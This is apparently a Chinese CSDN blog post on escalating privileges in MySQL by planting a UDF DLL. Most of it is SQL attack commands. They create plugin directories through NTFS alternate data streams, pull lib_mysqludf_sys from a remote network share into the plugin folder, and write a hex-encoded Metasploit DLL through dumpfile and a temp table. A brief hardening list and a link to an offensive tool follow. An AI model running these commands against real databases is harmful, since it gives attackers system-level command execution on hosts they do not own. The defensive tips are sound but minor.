MySQL UDF提权执行系统命令1

本文详细介绍MySQL中使用UDF进行权限提升的多种方法,包括利用NTFS ADS流解决Can’t open shared library问题,通过网络路径或十六进制编码上传DLL,以及创建表并插入二进制数据。同时,文章提供了防范措施,如限制对外链接和加强Root账号安全性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.udf提权–版本

--------------mysql 5.1版本常遇到的问题----------------------
这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can’t open shared library"的情况。

这里我们可以利用NTFS ADS流来解决这个问题。

select @@basedir;   
//查找到mysql的目录

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   
//利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 
'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录

========================================================================================

2.上传

1.有很多方法可以做到这一点。 load_file函数支持网络路径。如果你可以将DLL复制到网络共享中,那么你就可以直接加载并将它写入磁盘。

select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') 
into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

2.另一种方法是将整个DLL文件以十六进制编码后写入磁盘。

select hex(load_file('/usr/share/metasploit-
framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) 
into dumpfile '/tmp/udf.hex';


select 0x4d5a90000300000004000000ffff0000b800000000000000400000
00000000000000000000000000000000000… 
into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-
5.7.21-winx64\\lib\\plugin\\udf.dll";

3.还有一种方法是创建一个表并将二进制数据插入到十六进制编码流中。你可以通过insert语句或将其分解为多个部分,然后通过update语句拼接二进制数据。

create table temp(data longblob);

insert into temp(data) values 
(0x4d5a90000300000004000000ffff0000b80000000000000040000
00000000000000000000000000000000000000000000000000000000
00000000000f00000000e1fba0e00b409cd21b8014ccd21546869732
070726f6772616d2063616e6e6f742062652072756e20696e20444f5
3206d6f64652e0d0d0a2400000000000000000000000000000);


update temp set data = 
concat(data,0x33c2ede077a383b377a383b377a383b369f110b375
a383b369f100b37da383b369f107b375a383b35065f8b374a383b377
a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376
a383b369f112b376a383b35269636877a383b3000000000000000000
00000000000000504500006486060070b1834b00000000);

select data from temp into dumpfile "D:\\MySQL\\mysql-
5.7.21-winx64\\mysql-5.7.21winx64\\lib\\plugin\\udf.dll";

3.执行

在这里插入图片描述

4.防范

1.尽量避免提供对外链接,通过mysql中的user表进行查看,禁用"%"。

2.设置复杂的Root账号密码。

3.对my.ini设置只读属性,设置plugin目录为只读目录。

5.其他

https://github.com/v5est0r/Python_FuckMySQL

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值